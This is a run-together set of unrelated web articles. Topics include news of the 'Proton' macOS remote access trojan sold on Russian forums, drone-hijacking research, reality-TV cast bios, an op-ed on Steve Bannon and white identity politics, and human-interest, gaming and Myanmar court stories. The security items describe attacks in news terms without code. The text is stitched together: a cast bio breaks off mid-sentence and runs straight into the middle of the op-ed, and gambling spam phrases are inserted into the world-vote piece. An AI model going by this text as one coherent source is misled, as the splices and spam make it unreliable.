Found on Russian cybercrime forums, "Proton" is a remote access trojan (RAT) aimed at macOS systems, according to security firm Sixgill. Written in Objective C, allowing it to run without any dependencies, the malware is marketed by the creator as a "professional FUD surveillance and control solution, with which you can do almost everything with (a) target's Mac."With root-access privileges, the list of potential actions includes keylogging, uploading and downloading files, screenshots, webcam access, and SSH and VNC connectivity. It is also claimed the malware can also present victims with a custom window, which could be used to request extra information, such as a credit card number.The user's locally-stored data is not the only information at risk, as the researchers note the trojan also grants access to iCloud, even if the user has enabled two-factor authentication.Sixgill advises the malware's creator managed to get the code signed by Apple, suggesting it has managed to pass through Apple's rigorous filtration process for third-party software developers. It is believed the developer has either falsified their registration to the Apple Developer ID Program or used stolen credentials, in order to get through the signing process.Furthermore, Sixgill believes the malware is only able to get root privileges by using a "previously unpatched 0-day vulnerability" in macOS, one thought to be in the trojan creator's possession.Despite its capabilities, the trojan still relies on existing methods to be infected on a target system. Users of Proton still have to disguise the malware with a custom name and icon, and to somehow trick targets into downloading and installing it.The creator of Proton attempted to market it as a supposedly legitimate security tool, complete with a website advertising it as an ideal solution to prevent corporate espionage, to help administrators manage systems, and for parents to monitor their children's Internet usage. The website was quickly taken down shortly after Sixgill published its report.Notably, the trojan's creator has cut the price of Proton for their potential "customers." Previously, the tool cost 100 bitcoins ($126,000) to acquire, with a license for unlimited installations, but criticism from others prompted a reduction to 40 bitcoins ($50,400) for unlimited installations, or 2 bitcoins ($2,512) for a single installation.Proton is the latest in a recent string of malware discoveries targeting Macs, a platform considered to be more robust against attacks compared to Windows and other operating systems. In February, malware called "MacDownloader" was discovered as part of an attempt to hack individuals and companies in the U.S. defense industry, and human rights advocates, by posing as a Flash Player update.In the same month, malware employing an auto-running macro in a Word document surfaced, using an old technique previously used to infect Windows systems. Later in February, a Russian hacking group accused of interfering with the 2016 U.S. presidential elections was found to have updated its "Xagent" malware package, expanding its reach from Windows, iOS, Android, and Linux devices to attack Macs.Palindromes–or sequences of symbols that can be interpreted the same way backwards and forwards–have been embraced by artists and designers in multiple mediums, from comics to poetry to classical music. You can now add to this body of reversible work what may be the world’s first watchable palindromic film. Called Symmetry, the film created by 24-year-old video designer Yann Pineill explores the enantiomorphic nature of love and loss.
Symmetry is a graduation project from Pineill’s time as a student at Parisian graphic design school ESAG-Penninghen. In it, he tells the story of a day in the life of a man and woman, who argue and split up for unknown reasons (which may have something to do with an empty bassinet seen at a couple of points in the film). Leaving the house, the man meets another woman and begins an affair, only to reconsider his actions and reconcile with his partner after looking at himself in the mirror (while Joseph Haydn’s palindromic Symphony No. 47 plays on the radio, no less).
It’s a short but powerful film, that explores the nature of symmetry in all its forms. Its palindromic nature comes about halfway through, when the film seemingly starts to “play backwards” even as the plot continues to progress. “I wanted the second half of the film to be perceived differently, even though the footage and sounds are exactly the same,” Pineill tells Co. Design.
Clever editing and careful structuring accomplish much of this effect. “The biggest challenge in making Symmetry was finding actions, sounds, and a plot that would work as well in reverse in a seemingly unnoticeable way,” say Pineill. Getting the actors to express emotion in a way that could be “reversed” into another emotion entirely was also a challenge.
I wanted the second half of the film to be perceived differently, even though the footage and sounds are exactly the same.
“I would tell the actors to try to exist in a place between two feelings, such as between anger or pain, or sadness and puzzlement. Depending on which way the footage is played, the viewer automatically selects which emotion seems to be most suitable given the situation.”
Pineill was inspired to take this approach to Symmetry based upon the Kuleshov Effect, a famous film editing technique in which a viewer’s perception of a static shot (such as a statue’s face) is changed by the juxtaposition of other shots (such as a kitten playing, or a child starving).
According to Pineill, perfect symmetry doesn’t exist, so much as it is a theoretical concept. Likewise, Symmetry doesn’t attempt to perfectly mirror itself, so much as use the palindrome for a metaphor of the duality and balance of love. So don’t just watch half: Just as a human face can look radically different when its left and right symmetry are reversed, the ending of Symmetry will startle you more than you could expect.Last night Bravo teased The Real Housewives of Atlanta fans with a sneak peek of the season 8 cast and fans were shocked when a few ‘newbies’ were missing (click HERE if you missed that).
Well now an explosive sneak peek trailer has been released which shows a ton of season 8 drama. Kim Fields is shown in the clip seemingly surprised by all the bickering and can be heard asking, “Are we grown-ass women talking like this?”
Fields is joined by show vets Cynthia Bailey, mom-to-be Kandi Burruss, Kenya Moore, Phaedra Parks, Sheree Whitfield, Porsha Willams, and fellow newcomer Shamea Morton. It’s the first season since the departure of NeNe Leakes, and the return of Sheree Whitfield after a three-year hiatus.
As previously reported, Claudia Jordan and Demetria McKinney are not returning
Read Bravo’s full press release, which includes cast bios & photos + watch the explosive new trailer below:
VIDEO: RHOA Season 8 (Official Trailer) 2015
Via Press Release:
After months of overcoming numerous hurdles to conceive, Kandi and Todd are ecstatic to welcome their first child together. However, Kandi is faced with juggling the highs and lows of pregnancy coupled with a busy life as a hard-working career woman. Ready for her fresh start, Kenya has decided to build the ultimate dream home, “Moore Manor,” all while continuing her quest for love. Meanwhile, Cynthia is on-the-go more than ever, but unsettling rumors surrounding her marriage threaten to cause a strain on her relationship with Peter. With Apollo still incarcerated, Phaedra adjusts to life as a single mother while maintaining her successful career, including potentially purchasing her first funeral home. Embracing a new chapter, Porsha is currently dating a new beau as her business ventures continue to thrive. Actress and director Kim Fields joins the ladies this season and although she is new to the mix, she is no stranger to the spotlight. Fan favorite Shereè Whitfield is back on the scene, while newcomer Shamea Morton joins these feisty Southern ladies for another unforgettable season.
Official Cast Photos & Bios:
Cynthia Bailey (Housewife)
Supermodel Cynthia resides in Atlanta with her 16-year-old daughter Noelle, and husband, Peter. The Alabama-born beauty moved to New York City over 25 years ago to pursue her dream of modeling. Cynthia’s first booking was the cover of Essence magazine, but that was only the beginning. From walking in Fashion Week runway shows in New York, Paris, and Milan to co-starring in a movie opposite Sandra Bernhardt, she has had an enviable career. Cynthia is still a successful and in high demand model. With The Bailey Agency School of Fashion dominating many hours of her day, she continues to seek out and inspire Atlanta’s most promising talent. Putting her high-fashion background to good use, Cynthia recently launched Cynthia Bailey Eyewear, a stylish collection that offers a variety of chic sunglasses and frames. Married now for 5 years, Cynthia and husband Peter have a full plate now more than ever — from their entrepreneurial endeavors to challenges in their relationship, they are focused on keeping their love strong and can tackle anything that comes their way.
Kandi Burruss (Housewife)
Kandi is a Grammy Award-winning singer/songwriter who resides in Atlanta with her 13-year-old daughter, Riley, 19-year-old stepdaughter, Kaela, and husband, Todd Tucker. Her award-winning intimate luxury line, Bedroom Kandi, has expanded into an in-home network while her T.A.G.S. boutique is now featuring its own exclusive clothing line and opening new locations across the country. After months of overcoming numerous hurdles to conceive, Kandi and Todd are ecstatic to welcome their first child together into the Tucker family. With a jam-packed schedule, Kandi is faced with juggling the highs and lows of pregnancy and busy life as a hard-working career woman. This season, Kandi will continue to build her music empire with the addition of developing two new teen groups, Glamour and Loud, all while also preparing to welcome a new bundle of joy into the family.
Kenya Moore (Housewife)
Kenya Moore is the triple threat with beauty, brains, and talent. Originally from Detroit, the former psychology major left Michigan with fierce drive and determination to build her own unique brand. Well-known for being crowned “Miss USA,” Kenya has also acted alongside many “A-list” celebrities. Aside from being a serious career woman, Kenya enjoys writing, traveling, hitting the gym, and never passes up an opportunity to speak her mind. With the recent launch of her hair care line, Moore Hair Care, and the continuous development of her production company, Moore Vision Media, Kenya remains busier than ever. Kenya is creating a fresh start for herself this season and is in the process of building the ultimate dream home. A hopeless romantic, Kenya is determined to find Mr. Right and can’t shake the thought that love could be just a click away. She is relentless in her pursuit of happiness and is laser focused on having it all…but on her own terms.
Kim Fields (Housewife)
Kim Fields currently lives in Atlanta with her husband, Christopher Morgan, and their 8-year-old and 20-month-old sons. A pop culture icon and veteran actress/director, Kim became a household name after starring in several hit sitcoms including Facts of Life and Living Single. Although Kim may be new to the reality television world, she is no stranger to being in the global spotlight. Kim continues to lead a busy Hollywood life by regularly appearing in film, television, and theatre productions. When she’s not in front of the camera, directing and producing projects, or speaking and motivating audiences, Kim is constantly working to grow her brand. Between creating the holiday entertainment brand Holiday Love, directing well-known shows including Kenan & Kel, Tyler Perry’s House of Payne and Meet the Browns, and launching her own entertainment networks, she is a woman of many talents. Approaching her 40th year in entertainment, Kim strives to maintain the perfect work/life balance. Although Kim continues to juggle her demanding career and multiple business ventures, she always keeps her faith and family a top priority.
Phaedra Parks (Housewife)
Phaedra is a celebrated entertainment attorney, who lives in the prestigious Buckhead area of Atlanta with her two sons Ayden and Dylan. She is the Managing Partner of The Parks Group, P.C., a boutique law firm that caters nationally to entertainers and athletes. Phaedra is a self-proclaimed “Southern Belle” as she is an active member of the community and church, sits on numerous boards, and is involved in multiple charities. She recently earned her Mortuary Science degree, successfully launched her first two fitness videos titled “PHINE BODY,” and continues to speak with audiences across the country about her book, Secrets of a Southern Belle. Phaedra is adjusting to life as a single mother this season, caring for her children, and maintaining a successful career all on her own. Despite any obstacles though, Phaedra effortlessly handles whatever is thrown her way and does it with style and grace.
Porsha Williams (Housewife)
Porsha Williams is a vivacious beauty with big dreams and the ambition to make them a reality. A true “cornbread-fed Georgia Peach,” Porsha was born and raised into a prominent family in Atlanta and is the granddaughter of Civil Rights leader and philanthropist, Rev. Hosea Williams. Porsha is currently embracing a new chapter in her life this season as she learns to date again while on a journey to find her true “self.” Porsha is thriving in her career working as an entertainment news correspondent with The Ricky Smiley Morning Show on “Dish Nation.” Surrounded by supportive friends and family, she is focused on taking her love for performing to the next level. In addition, she is focused on her newly launched business ventures “Go Naked Hair” and her lingerie line “Naked Lingerie” as well as remaining heavily involved in her various charity partnerships.
Sheree Whitfield (Friend)
Back like she never left, Shereè is a socialite and resident of Atlanta who effortlessly manages her over-loaded calendar as a single mother to her three children, Kairo, Kaleigh, and Tierra. Shereè is committed to a rigorous |
of its bonafides among the energetic alt-right reveals just how insecure the president is of his status with this constituency.
In fact, polls suggest a hard core of unwavering support for Trump that will not suddenly abandon him with the loss of a strategist, whom Trump once uncharitably called “a guy who works for me”. If Bannon is sacked, Trump will still have the alt-right credentials the two built together to mobilize and transform the Republican base.
There’s another reason why firing Bannon wouldn’t be a huge loss: his work is largely done.
Before the 2016 election, many white Americans felt marginalized – relegated in the country they once defined. Many, particularly those in post-industrial regions, had lost once stable jobs and their income has declined. Far worse for many, they felt like they had lost their sense of political clout and social status in American society.
During three years of polling and fieldwork in white working-class communities leading up to Trump’s election, I found this marginality anchored by three key sentiments – that many white Americans feel outnumbered, excluded and discriminated against.
In data from the nonpartisan, nationally representative American National Election Study (Anes) survey in 2016, white working-class people are more likely to deny the advantages that white people continue to possess, and express a sense that they are subject to unique disadvantages that reinforce their externality. A near majority of white working-class people – white people without university degrees – believed that being white made no difference to their fate in today’s society.
Rather, white working-class people were more likely than others to believe their whiteness hurt them. The sample of people were asked: “How many disadvantages do white people have that minorities do not have in today’s society?” Compared with the rest of those surveyed, white working-class people were far less likely to say “none”.
However, white working-class people reveal a greater sensitivity to discrimination in all forms – as it hinders their own pursuits, but also as it hinders other constituencies. Still, they perceived discrimination against black people, Hispanics and women far less than non-white people, and perceived discrimination against white people and Christians more than all others.
When compared with non-working-class white people, a greater share of white working-class people believed that losing jobs to minority candidates was “extremely” likely. They were also more likely to believe that “whites working together” is “extremely” important.
In his time on the Trump campaign and in the White House, Bannon cultivated this frustrated undercurrent and channeled Trump to address their sentiments – ushering in a renaissance of white identity in the US that harnesses the latent energy in a constituency that has disoriented the Republican party and American politics. For white communities with nationalist grievances, the Trump administration’s list of “achievements” looks like this:
24 January 2017: Withdrew from the Trans-Pacific Partnership.
25 January: Heightened immigration enforcement and broadened the category of people subject to deportation.
25 January: Ordered the construction of a border wall and the tripling of border agents.
25 January: Ordered the removal of funding from so-called sanctuary cities.
26 January: Ordered a weekly list of crimes allegedly committed by undocumented immigrants in sanctuary cities.
27 January: Suspended the US Refugee Admissions program.
27 January: Ordered a ban of people from seven Muslim-majority countries.
6 March: Ordered a ban of people from six Muslim-majority countries.
18 May: Triggered the renegotiation of the North American Free Trade Agreement (Nafta).
19 July: Convened a commission on voter fraud that will demand voter data from states, at the risk of disenfranchising minority voters.
1 August : Ordered an investigation of “intentional race-based discrimination in college and university admissions”.
2 August: Supported bill to cut all documented immigration into the US in half.
15 August: Declined to specifically condemn neo-Nazis and white nationalists after terrorist attack in Charlottesville, Virginia.
17 August : Criticized the removal of “beautiful” Confederate monuments in the American south.
Each of these actions have been undertaken without the support of Congress and, in many cases, without the support of the courts. In fact, many have yet to be enacted because they await court approval, were declared unconstitutional or require the appropriation of money by Congress. Others require no such checks.
Rather, they have made use of presidential authority to execute policies that bypass institutional deliberation to do what was once unthinkable – rendering them a spontaneous, miraculous quality to those on the alt-right who buy into Trump’s messianic self-image.
Even if they are not implemented, they also have a symbolic quality that shows white people with cultural anxieties that the administration empathizes and stands with them.
No doubt, Bannon still thinks there is more to do. We know this is true, because we have seen the list on his whiteboard.
Many of his goals can be checked off. However, he has well-documented (and neatly scribed) ambitions to curtail immigration further, overhaul the tax code and, according to his recent interview with the American Prospect, “the economic war with China is everything”. However, these broader goals are impossible to pursue without judicial approval or cooperation from a skeptical Republican party, and therefore less feasible. In other words, the low-hanging fruit in his “economic nationalism” agenda has been picked.
Bannon’s most attainable, sustainable – and most frightening – achievement is white Americans’ renewed sense of racial consciousness; a sense of shared destiny that was once shamed as unpalatable and ignored by mainstream politicians. He has wielded pervasive fear about demographic change into immense, cathartic political capital in support of Trump and his crusade against political correctness, foreigners and other threats to the historic American social hierarchy.
In the Anes survey from 2016, when a nationally representative sample of white Americans was asked, “How important is being white to your identity?”, the proportion who said “extremely” important nearly doubled from 2012 to 2016. While the increase was not as dramatic among white people without a university degree, they were more likely to report the “extreme” importance of their whiteness at both junctures.
More than anyone else in the Trump administration led by military brass and plutocrat CEOs, Bannon sensed this groundswell of frustration, fear and racial consciousness. His agenda persuaded many people in swing states to turn against the Democratic party in the 2016 election, and it has forged an indefatigable core of support that will stay with Trump through the next general election and beyond.
Viewed in this way, in seven destructive months, Bannon has done what earlier strategists like David Axelrod and Karl Rove took four years to achieve.A mother of three woke from brain surgery to find quarter of her head missing – and it was being stored in her stomach.
Beauty queen Jamie Hilton had a life-saving operation following a fall
If there were no pictures, you wouldn’t believe Jamie Hilton’s extraordinary story. She spent 42 days after life-saving brain surgery with a quarter of her skull ‘living’ in her stomach.
And now the former American beauty queen is back at home after surgeons successfully stapled the bone to her head.
‘My heart feels like it could explode with GRATITUDE,’ she wrote on her blog.
‘My cup is running over with joy and happiness. Is everything in my life perfect? No. But today I AM ALIVE!’
The 36-year-old’s brush with death came after she stumbled and hit her head on a fishing trip with her husband, Nick, to Hell’s Canyon in Idaho in June.
Surgeons removed part of Mrs Hilton’s skull and placed it in her stomach to keep it functioning
She was taken unconscious to hospital in Boise where doctors found her brain had swollen.
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They decided to remove a quarter of her skull to ease the swelling and put it inside her stomach to keep it sterile and nourished.
When the mother of three, a former Mrs Idaho, woke from the operation she found a lump in her stomach and a large portion of her head missing. Mrs Hilton posted a photo of the skull in her abdomen on her blog entitled ‘Miracles… believe in them’ as well as a photo showing a scar running the length of her head.
Part of the skull was removed in order to relieve pressure on her brain following the accident
She wrote about the moment her skull was replaced last month. ‘Surgery went as well as expected! My skull is back in my head… really weird to say;),’ she said.
‘For now the only possible problems are infection or my body rejecting the skull being back in my head.’
Since recovering she has returned to work in the family taxi business as she attempts to clear a six-figure medical bill.Read Story Transcript
You may know people who have hit a deer on the road. But you probably don't know anyone who've had a deer hit them — until now.
Cary McCook says no one believed he was run over by a deer until he found security camera footage to prove it. (Cary McCook/Facebook) Meet Cary McCook. It wasn't easy to convince people that he was run over by a deer at first because it happened on April 1st. Then he got his hands on surveillance video of the collision.
McCook is a rapper and environmental management representative at the Kwadacha First Nation in Fort Ware, British Columbia. He spoke with As It Happens host Carol Off about the unlikely incident.
Carol Off: Cary, where were you and what were you doing when you got hit by a deer?
Cary McCook: I was in front of the Stork Nest Inn in Smithers, British Columbia. Me and my coworkers were just coming back from Terrace for a little short visit. They were dropping me off. I thought I was going to have a quite, relaxing night. Turns out, fate, or I would call it nature, had other plans.
CO: So I can see from the video, someone pulls up in a truck and lets you off. What happens then?
CM: I get out of my truck. As you see I turn my back when I shut the door. When I start to make my way towards the entrance I hear three gallops to my left. I turned. Before I could process it was a deer and try to get out of the way — because my left leg was going left, my right leg was going right, leaving me in the middle — bam! I got hit by Bambi.
CO: And he or she is moving at a clip when you get hit.
CM: Yeah, it was a doe. That was lucky on my part that it wasn't a buck where she would have had horns. She was going fast. I noticed she was being chased by a dog. That's why she was in full sprint. By the time I realized she was in full sprint, I was already in the way. She tried to jump over me. Unfortunately, I'm 5-6. She couldn't make the clearance and then — bam — I got hit.
CO: So then what happened? You told some people what happened...
CM: I was in shock at the time and then I jumped on the phone automatically. Mind you, this is April 1st. So everyone is thinking April Fool's this and April Fool's that. I call my Mom and then I tell her, "Mom, I got hit by a deer." She couldn't believe it. She's like, "All right, Cary, good one." I'm like, "No, I'm serious. I got hit by a deer in front of my hotel room." She wouldn't believe me.
I talked to my brothers and they wouldn't believe me. I was laughing because I'm a hip hop artist and I rap. My group, I told them and they didn't believe me too. The next day, after I got the footage, I threw it on Facebook and this thing just went viral. It just skyrocketed up. Everyone was sharing it and my family, they're like, "Holy dang! You weren't joking. You actually got hit by a deer."
CO: What kind of responses have you had from people?
CM: Oh, I hear it all. You know, "deer whisperer," "dances with deer," "hip-hop artist gets jumped by deer," "it must be a deer gang." I've been hearing a lot of responses and you know it's awesome because on my side of my heritage laughter is good medicine — it's good for the soul.
It is an unfortunate situation. I'm glad I'm okay and everything. But that's the thing, I'm perfectly fine. So just to break that situation and put it into a positive one where everyone just has a good laugh about it — now that's the dream. The deer is okay. I'm okay. All of us are good. We just had a shock. I guarantee the deer was appointed alpha. Now it's like running around being all high saying, "Hey, I took down a First Nations hunter! What did you do?"
This interview has been edited for length and clarity. For more on this story, listen to our full interview with Cary McCook.November 4th 2008 the American people will choose a new president. The president of the United States of America is the most powerful person in the world.
We would like to know who would be the next president of the United States of America - if the world could vote!
In the presidential election in 2004 122,267,553 people voted. 6,500,000,000 people did not.
Our mission as >poker online is to get more people to vote than voted in the last election. Mission impossible, we > agen sbobet know, but still, wouldn't it be great to see what the whole world thinks?
If we are to have any chance of reaching that goal we need your help. Tell all your friends around the world about iftheworldcouldvote.com. You can send them email, share it on Facebook (we also have a group you can join), digg it, reddit, save to delicious... Or all of it. So go ahead. Let's see who would be the next president of the United States of America - if the world could vote;)In this corner, the Xbox One, with its (mostly) all-knowing Kinect. In the opposite, the PS4, with hardcore gamer cred to spare. If you listen to most pundits—including us!—that's the full reckoning of the battle for your console dollars. Me? I'm buying a Wii U. And maybe you should, too.
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Remember the Wii U? Quirky little thing, giant gamepad, came out last year? Of course you don't! No one does. I never gave the Wii U serious consideration when it launched last year; it was too different, too expensive, too many features weren't enabled yet. Besides, it would have been crazy not to wait and see what Microsoft and Sony had in store. In the meantime my Xbox 360 was doing just fine, thankyouverymuch.
Like any good romantic comedy, though, it turns out the one I really wanted was right there all along. Here's why.
More Games Now (Or Soon) That I Want to Play
The Wii U's head start will be negated in a year or two, sure, yes. But a year or two is not now, and right now the Wii U has nearly 200 games at its disposal. Xbox One and PS4 could be generously described as having a "handful" of games, as long as the hands in question are tiny little baby hands.
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That's not fair, you're thinking. And you're right! It's only a matter of time before Xbox One and PS4 lap the Wii U in games, including megatitle exclusives like Halo 5 and the next Uncharted. If you are a serious or even halfway serious gamer, you are probably going to want one of those titles, and you should get the console that will have it.
Me? I'm not so serious. But I do love Mario.
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GIF credit: Kotaku
The Wii U might not have as many barnburner exclusive titles, but it does have the ones that I want. Specifically, the ones that reunite me with Mario and Link. Super Mario 3D World and The Legend of Zelda: The Wind Waker HD are finally here. Super Smash Brothers and Mario Kart are coming. I'll trade my Master Chief brute shot for a Luigi uppercut any day.
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Not to mention that the Wii U—unlike the Xbox One and PS4—is backwards compatible, meaning I can breathe new life into my old titles as well. I don't have an extensive catalog of Wii games, but I'm comforted by the fact that I don't have to buy the ones I like all over again to carry them with me into this generation. Or, if I'm feeling nostalgic, I'm just five bucks away from Super Metroid.
A Built-In Second Screen
While the Xbox One is focusing on a living room takeover—often to great success—I'm more interested in the Wii U's GamePad, a feature that seems built specifically for a household in which the television is shared by those who sometimes enjoy a little Madden and those who don't. Hey, that's my household!
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The Wii U's GamePad makes it versatile in a way that the Xbox One and PS4 aren't right now, in a way that suits my needs better than being able to talk to my video games ever would. I play games in short bursts, grabbing a few minutes here and there between work and parenting and... well, honestly, between those two very time-consuming (and rewarding!) things.
The PS4 offers some overlapping capabilities—if you own a PlayStation Vita. That's at least another $200, though, on top of a console that already costs $400. I'll take the Wii U.
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This One's For the Kids
When I was in my early-to-mid 20s, I wanted nothing more than to shoot my friends in the face with a grenade launcher. I think that's a perfectly natural and healthy impulse, and if you're in that demographic now, you should definitely get a console (read: Xbox One or PS4) that encourages it, preferably in some sort of multiplayer dystopian landscape, maybe with aliens? There should probably be aliens.
I'm older now, though, and have a daughter who is very nearly a year old. I do not want to shoot her in the face. I want to introduce her to Kirby.
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There are—or will be, eventually—family-friendly games on every gaming platform. Kinect, in particular, offers great ways to make gaming an active experience instead of a conclave of couchlarditude. But at their core PS4 and Xbox One are still testosterone-fueled battle bricks, Monster energy drinks incarnate. For many, many people, including me from five years ago, that is a good thing! It's not, though, what I need now.
I want my daughter to grow up with Mario and Luigi and Kirby and Donkey Kong and Link and Zelda. I want the games I play to be games she can play too. We're a few years off from her picking up a controller, but this is the console I'm going to own for a decade. I want it to be a shared experience, instead of one where daddy goes trundling down to his man cave and yelps about n00bs for an hour while everyone else enjoys a friendly game of Cranium.
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A Media Diet
The Xbox One and PS4 both offer compelling set top box experiences. They feel very much like the future. That's great! But I don't need it.
The entertainment apps I'd like to be able to access on my television are Amazon Instant Video and Netflix. That's it. Wii U has those. As does my television, and my Apple TV, and my Xbox 360. I am not lacking for content. Chances are, in this connected age, you aren't either.
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The Xbox One offers the most compelling counterpoint, since its living room ambitions go beyond just apps to include a (much-needed) complete channel guide overhaul and more. That's tempting! But anything that involves on-demand video for the Xbox One requires an Xbox Live Gold subscription, a tax on monthly fees I'm already paying for Netflix and the like. And while the cable box interaction is neat, it's also surface-level in a way that makes it sluggish and not quite future enough to pin your entire purchase decision on. Or at least, not for me.
All of which is to say, I don't need another way to watch Netflix. And if I did, I'd probably just get a Roku.
Less Chance of a Lemon
Another reason that's strictly near-term. But since people are deciding between a PS4 and Xbox One right now, today, it's worth pointing out that first-run hardware is imperfect. It just is, no matter if it's a console or a smartphone or a laptop or a hairdryer or some sort of smartphone-hairdryer hybrid.
That's why you're seeing reports of a PS4 blue light of death and faulty Xbox One disc drives. It's a very small percentage, and it happened to first-run Wii U units, too. It's not a big deal, it affects every OEM, and companies are usually more than happy to replace bum hardware. But! By this point, the Wii U's manufacturing process is fine-tuned and butter smooth. And that assurance is worth (a very little) something.
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This is not a good reason not to buy a console. But it's worth mentioning, as an improbable reality that can still happen. And it's an even better reason to at least wait on the new breeds.
I'm Cheap Frugal
Okay, cheap. I'm fine with cheap. The Wii U does everything I want it to do, has games that I want to play that I won't find elsewhere, and does it for $100 less (bundled with a pretty great game) than the PS4, and $200 less than the Xbox One.
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Yes, that amortizes over the lifetime of the console. Yes, in the grand scheme of things it's not a huge amount of money. But right now, today, it feels a whole lot like not paying more for stuff I don't need. Especially knowing that PS4 and Xbox One price drops are themselves inevitable, and will likely kick in right around when there are finally games you actually want to play on them.
It's entirely possible—probable, even!—that the Xbox One or PS4 is right for you. That's fine. But it's a shame that the Wii U has been left out of this particular conversation altogether. Especially since for some of us, it's the exact right fit.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
March 4, 2014, 2:27 AM GMT / Updated March 4, 2014, 2:37 AM GMT
What’s that buzzing in the backyard?
It’s probably not a drone — yet. But with major U.S. companies like FedEx and Amazon talking about using the whirring aircraft in the not-so-distant future, it seems more likely than ever that drones may soon be part of our domestic skyscape. That is, if they can beat the hackers, some security tech experts say.
For the most part, drones have emerged on the corporate scene mostly as the butt of jokes from companies like Netflix, which recently took aim at Amazon with a fake “Drone2Home” delivery service ad that DVD division general manager Hank Breegemann said would deliver disks in “mere seconds.”
In December, two days after Amazon head honcho Jeff Bezos laid out his — perhaps overly optimistic — vision in which Amazon deliveries would be dropped off by drone, a hacker named Samy Kamkar posted a YouTube video that showed software he had developed that could take control over other drones.
“As soon as it finds any other drones, it hacks into that drone’s wireless network, disconnects the owner, and takes over that drone,” Kamkar says on the YouTube video in which he explains his hack.
Kamkar told NBC News that he “wanted to open people’s eyes to the security implications.” He makes the digital hijacking seem easy, and pulled it off using only a Raspberry Pi computer that costs about $40 and code that he shared on his website. As far as he knows, there’s no software or hardware out there that would prevent the same tech from being used to hack commercial drones, Kamkar said.
That’s not great news for hobbyists and model aircraft enthusiasts who are launching their own small drones, typically easy-to-use copters made by companies like Parrot or Draganflyer. The security stakes are higher, however, as police departments, scientists, and the FBI use drones to find missing people or track species in the wild. And companies like Amazon aren’t going to be keen about using drones that can be hacked by a bored teen with basic computer knowledge.
Kamkar's demo was “clever,” and communication links are vulnerable, Todd Humphreys, a security researcher who studies drone systems at the University of Texas, Austin told NBC News. Among the weakest points on the small aerial vehicles are their navigation systems, Humphreys said.
Humphreys would know. In 2012, at the request of the Department of Homeland Security, he showed how a civilian drone could be tricked into believing false GPS coordinates, causing it to crash at a test site in New Mexico. About a year later, Humphreys and his students forced their way into the systems of a yacht in the Mediterranean and took control of the boat at the owner’s request.
In an upcoming study in the Journal of Field Robotics, Humphreys presents a thorough analysis of the systemic failures that take place when a drone falls victim to such a "spoofing" hack. Humphreys says he and his colleagues present evidence, among other new details in the report, that a drone hacked once remains permanently damaged.
GPS makes a particularly easy hack target, Humphreys said. “Every unmanned vehicle I know of depends critically on GPS,” he said. “So if you’re clever about the way you hack into these systems, almost all of them have this vulnerability.”
While the commercial use of drones is not currently permitted by the Federal Aviation Administration, the FAA is working to develop operational guidelines for the craft by the end of 2015. Six states have been designated as tests sites amid rising interest from businesses, farmers, and universities who foresee their own use of drones.
Others say hobbyists have nothing to fear, the hacking of drones belonging to private citizens may not be a "serious issue," not immediately, anyway. There's no real danger in hacking "drones being used for non-sensitive issues like photography and building inspection," Brendan Schulman, special counsel at Kramer Levin Naftalis and Frankel, told NBC News.
Schulman is behind the one key lawsuit underway challenging the FAA's authority to regulate the use of commercial drones. There's also the question of value: "I’m not sure what the value is of taking over an agricultural photography drone."
"The greater issue would be if the drones being hacked are [being used] for border control or law enforcement or if the drone is carrying sensitive scientific payload," or is flying over a sensitive location, he said.
Some companies have tried to get a jump on the FAA, like Minnesota-based brewer Lakemaid Beer. The beer company thought they had hit on a great idea with their plan to deliver beer to ice fishers by drone, until they were shut down by the administration.
But the wait for an official thumbs up won’t stop drone enthusiasts and business owners from experimenting, Humphreys said.
“I say it’s already happening and much of it is happening without the knowledge of the FAA.”A Yangon court on Tuesday sentenced a New Zealand bar manager and his two local colleagues to more than two years hard labor for insulting Buddhism by using the embellished image of the iconic sage to promote cheap drinks.
The trial centered over a social media posting promoting the V Gastro bar in the former capital city, in which a Buddha was depicted wearing a pair of DJ headphones amid psychedelic colors.
The bar subsequently deleted the post and wrote an apology on the Facebook page, saying it had no intention of causing "offence to anyone or toward any religious group."
But that didn't satisfy authorities, which prosecuted bar manager Philip Blackwood, 32, of New Zealand and his two Myanmar colleagues, owner Tun Thurein, 40, and employee Htut Ko Ko Lwin, 26, in December and charged them under the Religion Act, legislation that criminalizes written insults to religion.
Judge Ye Lwin said that despite the apology, Blackwood had "intentionally plotted to insult religious belief" when he uploaded the image to Facebook.
About half a dozen monks and hard line Buddhists gathered outside the Yangon court and applauded Tuesday's verdict.
"The verdict is fair," said Paw Shwe, a member of a Buddhist organization. "This punishment will deter others from insulting Buddhism or other religion."
Sectarian violence on the rise
Human rights groups say the trial symbolizes growing religious intolerance in Myanmar, with a growing Buddhist nationalist political movement that often targets Muslim communities.
"What this shows is freedom of expression is under greater threat than ever in Myanmar, just as the country heads into a pivotal election year," said Phil Robertson, deputy Asia director of Human Rights Watch. "The Religion Act should be amended to bring it into compliance with international human rights standards.”
After the sentencing, Blackwood told reporters he would appeal before police ushered him away.
jar/rc (dpa, AP, AFP)Sampling has become an incredibly important technique in modern music, relied upon by artists in genres as diverse as electronic music, hip hop, indy rock, and even contemporary classical. However, the vast majority of music isn't released in stem format (separate tracks for vocals, drums, bass, guitar, synth, etc.), which can make sampling or remixing most music very difficult to impossible. What if there was software that could automatically "extract" stems from an un-stemmed song? How many exciting possibilities would this open up for music?
It may not sound like it, but this is actually an extraordinarily difficult computing challenge to solve. It's a bit like trying to extract the eggs, flour, and sugar from cookie dough. Realistically, how might this be accomplished?
One possibility would be to use stemmed and un-stemmed versions of the same songs as training data for machine learning algorithms. With enough data, these algorithms could hopefully be able to learn to classify, or "lock on", to various musical elements that comprise a track. Using the same techniques, the various methods that producers use to manually isolate musical elements could perhaps be automated. And finally, if a particular note of a musical element can't be completely isolated from the "noise" of the rest of the track, perhaps that note could be "simulated", or recreated, similar to a MIDI note.
Prize Goals:
The creation of an automatic stemmer software or website, that takes an mp3, flac, or other mixed audio file as input, and can "lock on" to and separate the vocals, drums, guitar, bass, synth layers of a track, and then create separate stem files of these elements for the user.
The creation of an automatic stemmer software or website, that takes an mp3, flac, or other mixed audio file as input, and can "lock on" to and separate the vocals, drums, guitar, bass, synth layers of a track, and then create separate stem files of these elements for the user. The software would ideally be available to the public for free, as either an ad supported website or as open source software.
All images courtesy of Wikipedia.Image copyright AFP
America will likely emerge from the presidential election with a foreign policy that continues the recent trend of avoiding major foreign conflicts in order to focus on domestic issues - something you would hardly guess from the radically different foreign policy platforms of the two presidential candidates.
How so?
